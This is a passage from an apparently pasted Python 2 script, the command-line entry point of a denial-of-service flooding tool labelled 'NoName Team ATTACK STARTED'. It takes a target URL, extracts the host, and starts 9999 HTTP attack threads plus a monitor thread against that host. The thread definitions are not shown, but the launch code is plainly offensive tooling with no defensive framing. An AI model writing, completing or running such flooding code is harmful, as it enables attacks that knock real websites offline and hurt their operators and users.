  387.     sys.exit()
  388. else:
  389.     if sys.argv[1]=="help":
  390.         usage()
  391.         sys.exit()
  392.     else:
  393.         print ".............>NoName Team ATTACK STARTED<............."
  394.         if len(sys.argv)== 3:
  395.             if sys.argv[2]=="safe":
  396.                 set_safe()
  397.         url = sys.argv[1]
  398.         if url.count("/")==2:
  399.             url = url + "/"
  400.         m = re.search('http\://([^/]*)/?.*', url)
  401.         host = m.group(1)
  402.         for i in range(9999):
  403.             t = HTTPThread()
  404.             t.start()
  405.         t = MonitorThread()
  406.         t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement